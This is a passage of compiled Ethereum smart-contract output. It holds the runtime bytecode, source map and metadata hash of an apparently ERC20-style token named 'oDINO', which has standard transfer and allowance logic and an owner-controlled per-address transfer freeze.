3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f1257600080fd5b600115156000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610fc65760008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061101e565b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6040518060400160405280600581526020017f6f44494e4f00000000000000000000000000000000000000000000000000000081525081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110fb57506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111525760008214611151576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118c57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156111d857600080fd5b61122a82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112bf82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061145782600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561165557fe5b818303905092915050565b600081830190508281101561167157fe5b8090509291505056fea265627a7a72315820b1ddac9cab26ac5e69501b903f502150a0d985ad5b5e5bf5200cf87e383d7fdd64736f6c634300050f0032

8491:471:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8491:471:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8534:44;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;8534:44:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7057:192;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7057:192:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4921:108;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6484:567;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;6484:567:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;8710:34;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;7566:440;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7566:440:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;8627:78;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5035:129;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;5035:129:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;7255:303;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7255:303:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;8583:39;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;8583:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5170:437;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;5170:437:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;8012:164;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8012:164:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;8182:302;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8182:302:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;6317:161;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;6317:161:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8534:44;;;;;;;;;;;;;;;;;;;:::o;7057:192::-;7124:4;7169:6;7137:7;:19;7145:10;7137:19;;;;;;;;;;;;;;;:29;7157:8;7137:29;;;;;;;;;;;;;;;:38;;;;7208:8;7187:38;;7196:10;7187:38;;;7218:6;7187:38;;;;;;;;;;;;;;;;;;7239:4;7232:11;;7057:192;;;;:::o;4921:108::-;4985:7;5011:12;;5004:19;;4921:108;:::o;6484:567::-;6596:4;6613:9;:16;6623:5;6613:16;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;;6638:9;:14;6648:3;6638:14;;;;;;;;;;;;;;;;;;;;;;;;;6613:39;6604:80;;;6678:1;6668:6;:11;6654:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6604:80;6715:1;6700:17;;:3;:17;;;;6686:32;;;;;;6744:8;:15;6753:5;6744:15;;;;;;;;;;;;;;;;6734:6;:25;;6720:40;;;;;;6786:7;:14;6794:5;6786:14;;;;;;;;;;;;;;;:26;6801:10;6786:26;;;;;;;;;;;;;;;;6776:6;:36;;6762:51;;;;;;6838:27;6858:6;6838:8;:15;6847:5;6838:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6820:8;:15;6829:5;6820:15;;;;;;;;;;;;;;;:45;;;;6888:25;6906:6;6888:8;:13;6897:3;6888:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;6872:8;:13;6881:3;6872:13;;;;;;;;;;;;;;;:41;;;;6949:38;6980:6;6949:7;:14;6957:5;6949:14;;;;;;;;;;;;;;;:26;6964:10;6949:26;;;;;;;;;;;;;;;;:30;;:38;;;;:::i;:::-;6920:7;:14;6928:5;6920:14;;;;;;;;;;;;;;;:26;6935:10;6920:26;;;;;;;;;;;;;;;:67;;;;7015:3;6999:28;;7008:5;6999:28;;;7020:6;6999:28;;;;;;;;;;;;;;;;;;7041:4;7034:11;;6484:567;;;;;:::o;8710:34::-;8743:1;8710:34;:::o;7566:440::-;7674:4;7690:13;7706:7;:19;7714:10;7706:19;;;;;;;;;;;;;;;:29;7726:8;7706:29;;;;;;;;;;;;;;;;7690:45;;7765:8;7746:16;:27;7742:168;;;7816:1;7784:7;:19;7792:10;7784:19;;;;;;;;;;;;;;;:29;7804:8;7784:29;;;;;;;;;;;;;;;:33;;;;7742:168;;;7872:30;7885:16;7872:8;:12;;:30;;;;:::i;:::-;7840:7;:19;7848:10;7840:19;;;;;;;;;;;;;;;:29;7860:8;7840:29;;;;;;;;;;;;;;;:62;;;;7742:168;7942:8;7921:61;;7930:10;7921:61;;;7952:7;:19;7960:10;7952:19;;;;;;;;;;;;;;;:29;7972:8;7952:29;;;;;;;;;;;;;;;;7921:61;;;;;;;;;;;;;;;;;;7996:4;7989:11;;;7566:440;;;;:::o;8627:78::-;8743:1;8687:17;;8681:2;:23;8667:10;:38;8627:78;:::o;5035:129::-;5118:7;5141:8;:17;5150:7;5141:17;;;;;;;;;;;;;;;;5134:24;;5035:129;;;:::o;7255:303::-;7369:8;;;;;;;;;;;7350:27;;:10;:27;;;7336:42;;;;;;7430:4;7390:44;;:9;:36;7406:19;7390:36;;;;;;;;;;;;;;;;;;;;;;;;;:44;;;7380:173;;;7481:5;7442:9;:36;7458:19;7442:36;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;7380:173;;;7541:4;7502:9;:36;7518:19;7502:36;;;;;;;;;;;;;;;;:43;;;;;;;;;;;;;;;;;;7380:173;7255:303;:::o;8583:39::-;;;;;;;;;;;;;;;;;;;:::o;5170:437::-;5253:4;5271:9;:21;5281:10;5271:21;;;;;;;;;;;;;;;;;;;;;;;;;:44;;;;5301:9;:14;5311:3;5301:14;;;;;;;;;;;;;;;;;;;;;;;;;5271:44;5261:86;;;5341:1;5331:6;:11;5317:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5261:86;5378:1;5363:17;;:3;:17;;;;5349:32;;;;;;5407:8;:20;5416:10;5407:20;;;;;;;;;;;;;;;;5397:6;:30;;5383:45;;;;;;5458:32;5483:6;5458:8;:20;5467:10;5458:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;5435:8;:20;5444:10;5435:20;;;;;;;;;;;;;;;:55;;;;5513:25;5531:6;5513:8;:13;5522:3;5513:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;5497:8;:13;5506:3;5497:13;;;;;;;;;;;;;;;:41;;;;5571:3;5550:33;;5559:10;5550:33;;;5576:6;5550:33;;;;;;;;;;;;;;;;;;5597:4;5590:11;;5170:437;;;;:::o;8012:164::-;8110:4;8134:9;:36;8150:19;8134:36;;;;;;;;;;;;;;;;;;;;;;;;;8127:43;;8012:164;;;:::o;8182:302::-;8285:4;8340:46;8374:11;8340:7;:19;8348:10;8340:19;;;;;;;;;;;;;;;:29;8360:8;8340:29;;;;;;;;;;;;;;;;:33;;:46;;;;:::i;:::-;8301:7;:19;8309:10;8301:19;;;;;;;;;;;;;;;:29;8321:8;8301:29;;;;;;;;;;;;;;;:86;;;;8420:8;8399:61;;8408:10;8399:61;;;8430:7;:19;8438:10;8430:19;;;;;;;;;;;;;;;:29;8450:8;8430:29;;;;;;;;;;;;;;;;8399:61;;;;;;;;;;;;;;;;;;8474:4;8467:11;;8182:302;;;;:::o;6317:161::-;6421:7;6447;:15;6455:6;6447:15;;;;;;;;;;;;;;;:25;6463:8;6447:25;;;;;;;;;;;;;;;;6440:32;;6317:161;;;;:::o;4066:147::-;4155:7;4186:1;4181;:6;;4174:14;;;;4206:1;4202;:5;4195:12;;4066:147;;;;:::o;4569:155::-;4652:9;4681:1;4677;:5;4673:9;;4701:1;4696;:6;;4689:14;;;;4717:1;4710:8;;4569:155;;;;:::o

bzzr://b1ddac9cab26ac5e69501b903f502150a0d985ad5b5e5bf5200cf87e383d7fdd